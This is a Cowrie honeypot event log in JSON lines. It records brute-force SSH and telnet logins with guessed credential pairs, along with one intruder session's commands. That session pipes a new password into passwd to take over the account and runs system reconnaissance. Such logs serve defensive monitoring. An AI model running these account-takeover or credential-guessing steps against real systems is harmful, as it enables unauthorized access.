{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51884,"dst_ip":"159.203.135.109","dst_port":22,"session":"70b76f1921b1","protocol":"ssh","message":"New connection: 94.26.106.229:51884 (159.203.135.109:22) [session: 70b76f1921b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.700016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.705754Z","src_ip":"94.26.106.229","session":"70b76f1921b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7fdab443b8186debb6f0d9dcfe57e54b0c7a132ea84cbea097b31ddcdcd82a5","size":32,"shasum":"a7fdab443b8186debb6f0d9dcfe57e54b0c7a132ea84cbea097b31ddcdcd82a5","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/a7fdab443b8186debb6f0d9dcfe57e54b0c7a132ea84cbea097b31ddcdcd82a5 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.718229Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.793599Z","src_ip":"94.26.106.229","session":"70b76f1921b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.947943Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2023\\nKt1CyqnKOWTu\\nKt1CyqnKOWTu\\n\"|passwd","message":"CMD: echo \"admin@2023\\nKt1CyqnKOWTu\\nKt1CyqnKOWTu\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.952124Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d1570eac25ddc2c23037af74221aa6daaa9066dbfc7437b465c34cb420d22207","size":25,"shasum":"d1570eac25ddc2c23037af74221aa6daaa9066dbfc7437b465c34cb420d22207","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/d1570eac25ddc2c23037af74221aa6daaa9066dbfc7437b465c34cb420d22207 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:53.309293Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"P@ssw0rd","message":"login attempt [web/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:53.397274Z","src_ip":"94.26.106.229","session":"70b76f1921b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:53.533204Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:53.536092Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":39314,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d72b8fb52b","protocol":"ssh","message":"New connection: 47.237.167.49:39314 (159.203.135.109:22) [session: 19d72b8fb52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:53.618887Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:53.892769Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.114395Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.117744Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.473735Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.488291Z","src_ip":"94.26.106.229","session":"70b76f1921b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41170,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2aeed66db92","protocol":"ssh","message":"New connection: 45.156.87.204:41170 (159.203.135.109:22) [session: a2aeed66db92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.498803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.503345Z","src_ip":"45.156.87.204","session":"a2aeed66db92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.585997Z","src_ip":"45.156.87.204","session":"a2aeed66db92","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.785881Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.789565Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.793643Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.921820Z","src_ip":"47.237.167.49","session":"19d72b8fb52b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:54.969472Z","src_ip":"45.156.87.204","session":"a2aeed66db92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.150542Z","src_ip":"47.237.167.49","session":"19d72b8fb52b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.157468Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.523272Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.527004Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53174,"dst_ip":"159.203.135.109","dst_port":22,"session":"da79eb12150f","protocol":"ssh","message":"New connection: 94.26.106.229:53174 (159.203.135.109:22) [session: da79eb12150f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.631664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.636583Z","src_ip":"94.26.106.229","session":"da79eb12150f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.721138Z","src_ip":"94.26.106.229","session":"da79eb12150f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5d911cc51f","protocol":"telnet","message":"New connection: 152.42.224.71:42126 (10.17.0.5:23) [session: 6b5d911cc51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.841075Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.883122Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexa","password":"alexa","message":"login attempt [alexa/alexa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:55.973894Z","src_ip":"94.26.106.229","session":"da79eb12150f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:56.061950Z","src_ip":"45.156.87.204","session":"a2aeed66db92","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:56.123061Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:56.126871Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:56.483561Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:56.716626Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:56.719313Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.000362157821655,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.052981Z","src_ip":"152.42.224.71","session":"8add63cafe71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.059808Z","src_ip":"94.26.106.229","session":"da79eb12150f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.073236Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.310487Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.313986Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42136,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bfdab9fc21c","protocol":"telnet","message":"New connection: 152.42.224.71:42136 (10.17.0.5:23) [session: 6bfdab9fc21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.527930Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.671928Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53184,"dst_ip":"159.203.135.109","dst_port":22,"session":"a772fd3e6bfe","protocol":"ssh","message":"New connection: 94.26.106.229:53184 (159.203.135.109:22) [session: a772fd3e6bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.766981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.772404Z","src_ip":"94.26.106.229","session":"a772fd3e6bfe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.908101Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.911675Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:57.918522Z","src_ip":"94.26.106.229","session":"a772fd3e6bfe","protocol":"ssh"}
